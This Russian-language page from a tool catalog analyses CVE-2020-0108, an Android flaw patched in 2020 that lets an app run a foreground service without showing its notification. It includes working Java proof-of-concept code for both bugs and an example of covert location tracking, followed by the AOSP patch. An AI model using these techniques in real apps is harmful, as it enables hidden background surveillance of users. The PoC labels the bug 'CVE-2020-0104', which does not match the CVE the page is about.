Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ServiceCheater — PoC для CVE-2020-0108 | Kitploit
Инструменты/GitHubGitHub/crackercat/servicecheater
Безопасность AndroidПовышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеМобильная безопасность
GitHubcrackercat/servicecheater

ServiceCheater

PoC для CVE-2020-0108

Репозиторий
11136 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Анализ уязвимости повышения привилегий CVE-2020-0108 в службах переднего плана

1. Контекст уязвимости

  • В патче AOSP за август 2020 года была раскрыта уязвимость уровня фреймворка в AMS, получившая номер CVE-2020-0108 и рейтинг High. Это логическая уязвимость в обработке служб переднего плана в AMS: злоумышленник, успешно использующий её, может обойти отображение уведомления службы переднего плана и продолжать работу в фоновом режиме. Атака инициируется локальным вредоносным приложением и не требует взаимодействия с пользователем. Если пользователь предоставил приложению другие разрешения, это может привести к более серьёзному ущербу, например, к непрерывному отслеживанию местоположения или скрытой записи звука.

2. Детали уязвимости

  • Служба переднего плана (foreground service) — это концепция, введённая Google в Android 8.0. Поскольку Android 8.0 не позволяет запускать фоновые службы в фоне, была разработана концепция службы переднего плана: она имеет более высокий приоритет и может работать в фоновом режиме длительное время, однако в течение 5 секунд после запуска служба переднего плана должна привязать уведомление, иначе она будет остановлена. Фактически служба переднего плана по-прежнему работает в «фоне», но поскольку к ней привязано видимое пользователю уведомление, Google называет её «службой переднего плана».
  • Данная уязвимость имеет два метода атаки, соответствующих двум логическим ошибкам.
  • Первая ошибка находится в методе onNotificationError в NotificationManagerService: в нём некорректно обрабатываются исключительные ситуации при отображении уведомлений.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}
  • В этом случае после запуска службы переднего плана, даже если уведомление не было корректно отображено, служба переднего плана не будет остановлена. Например, если служба переднего плана использует пользовательский макет при создании уведомления и при построении объекта RemoteViews передаёт несуществующий идентификатор ресурса resID, то при разборе макета уведомления в NotificationManagerService произойдёт сбой, будет выброшено исключение и вызван метод onNotificationError. Поскольку метод onNotificationError лишь вызывает cancelNotification для отмены уведомления и не останавливает службу и не завершает всё приложение, служба переднего плана продолжит работу без отображения уведомления.
  • Вторая ошибка находится в методе postNotification в ServiceRecord: в нём некорректно обрабатываются исключительные ситуации при отображении уведомления, а исключение выбрасывается в пользовательскую программу.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}
  • В этом случае после запуска службы переднего плана, если пользовательское приложение перехватывает исключения главного потока, служба переднего плана не будет остановлена, даже если уведомление не было корректно отображено. Например, если при создании уведомления служба переднего плана передаёт недопустимый идентификатор канала Channel ID, то при отправке уведомления в методе postNotification класса ServiceRecord будет выброшено исключение. В процессе обработки исключения вызывается лишь метод crashApplication из AMS, который выбрасывает исключение в главном потоке приложения, но если приложение перехватывает это исключение в главном потоке, оно не аварийно завершается, и служба переднего плана продолжает работать без отображения уведомления.

3. Проверка уязвимости

  • Первую ошибку можно воспроизвести в службе переднего плана с помощью следующего кода
root@kitploit:~
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);
  • При создании объекта RemoteViews мы указали Layout ID равный -1 — очевидно, это недопустимое значение, что позволяет вызвать обратный вызов onNotificationError.
  • Вторую ошибку можно воспроизвести в службе переднего плана с помощью следующего кода
root@kitploit:~
//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);
  • В этом случае мы не создавали объект NotificationChannel, а сразу использовали недопустимый идентификатор канала Channel ID для построения уведомления — это позволяет вызвать исключение в методе postNotification. Затем мы перехватываем исключение главного потока, и приложение не аварийно завершается.

4. Влияние уязвимости

  • При успешной эксплуатации уязвимости вредоносное приложение может незаметно запустить в фоновом режиме службу переднего плана с высоким приоритетом и поддерживать её работу.
  • Наиболее серьёзное влияние заключается в том, что приложение может отслеживать пользователя с использованием разрешения на определение местоположения. Поскольку используется служба переднего плана, отслеживание местоположения может осуществляться в «фоне», даже если выбрана опция «Разрешать доступ к геолокации только при использовании приложения», и пользователь этого не заметит.
root@kitploit:~
public void refreshLocation() {
    LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
    String provider = LocationManager.GPS_PROVIDER;
    if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
        return;
    }
    locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
        @Override
        public void onLocationChanged(Location location) {
            double lat = location.getLatitude();
            double lng = location.getLongitude();
            Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
        }

        @Override
        public void onStatusChanged(String provider, int status, Bundle extras) {

        }

        @Override
        public void onProviderEnabled(String provider) {

        }

        @Override
        public void onProviderDisabled(String provider) {

        }
    });
}

5. Патч уязвимости

  • Google исправил данную уязвимость в патче за август 2020 года. Основное изменение заключается в том, что в обратном вызове onNotificationError теперь принудительно вызывается аварийное завершение приложения, а в обработке исключений метода postNotification также принудительно завершается приложение. В методе crashApplication в принудительном режиме (force=true) AMS в течение 5 секунд после выброса исключения принудительно убивает приложение, даже если оно перехватывает это исключение.
  • В методе onNotificationError вызывается метод crashApplication, который приводит к аварийному завершению приложения, с параметром force=true.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
    final boolean fgService;
    synchronized (mNotificationLock) {
        NotificationRecord r = findNotificationLocked(pkg, tag, id, userId);
        fgService = r != null && (r.getNotification().flags & FLAG_FOREGROUND_SERVICE) != 0;
    }
    cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
            REASON_ERROR, null);
    if (fgService) {
        // Still crash for foreground services, preventing the not-crash behaviour abused
        // by apps to give us a garbage notification and silently start a fg service.
        Binder.withCleanCallingIdentity(
                () -> mAm.crashApplication(uid, initialPid, pkg, -1,
                    "Bad notification(tag=" + tag + ", id=" + id + ") posted from package "
                        + pkg + ", crashing app(uid=" + uid + ", pid=" + initialPid + "): "
                        + message, true /* force */));
    }
}
  • В обработке исключений метода postNotification вызывается метод killMisbehavingService для завершения службы с некорректным поведением
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
} catch (RuntimeException e) {
    Slog.w(TAG, "Error showing notification for service", e);
    // If it gave us a garbage notification, it doesn't
    // get to be foreground.
    ams.mServices.killMisbehavingService(record,
            appUid, appPid, localPackageName);
}
  • В методе killMisbehavingService помимо захвата блокировки также вызывается метод crashApplication
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ActiveServices.java
void killMisbehavingService(ServiceRecord r,
    int appUid, int appPid, String localPackageName) {
    synchronized (mAm) {
        stopServiceLocked(r);
        mAm.crashApplication(appUid, appPid, localPackageName, -1,
            "Bad notification for startForeground", true /*force*/);
    }
}
  • Обработка force=true выглядит следующим образом: в течение 5 секунд после выброса исключения приложение принудительно завершается
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/AppErrors.java
if (force) {
    // If the app is responsive, the scheduled crash will happen as expected
    // and then the delayed summary kill will be a no-op.
    final ProcessRecord p = proc;
    mService.mHandler.postDelayed(
            () -> killAppImmediateLocked(p, "forced", "killed for invalid state"),
            5000L);
}
Скачать инструмент